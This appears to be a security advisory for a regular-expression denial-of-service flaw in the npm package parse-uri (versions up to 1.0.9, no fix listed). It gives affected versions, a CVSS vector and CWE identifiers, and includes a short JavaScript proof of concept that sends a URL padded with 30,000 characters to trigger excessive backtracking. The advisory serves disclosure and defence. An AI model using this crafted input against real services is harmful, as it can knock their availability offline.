Medium

parse-uri Regular expression Denial of Service (ReDoS)

Disclosed: 16.01.2025
Updated: 11.10.2026 10:22

An issue in parse-uri v1.0.9 allows attackers to cause a Regular expression Denial of Service (ReDoS) via a crafted URL.

PoC

async function exploit() {
    const parseuri = require("parse-uri");
    // This input is designed to cause excessive backtracking in the regex
    const craftedInput = 'http://example.com/' + 'a'.repeat(30000) + '?key=value';
    const result = await parseuri(craftedInput);
    }
await exploit();

Affected software

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Platform	Package	Vulnerable versions	Fixed in
npm package	parse-uri	<= 1.0.9	no fix
npm package	parseuri	all versions	no fix

References

CVSS score -

CVSS vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
Weakness (CWE): CWE-1333, CWE-185
Platform: npm
Package: parse-uri, parseuri
Disclosed: 16.01.2025
Updated: 11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-6fx8-h7jm-663j - CC BY 4.0

Vulnerability history: parse-uri

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

This is the only known vulnerability of this package.

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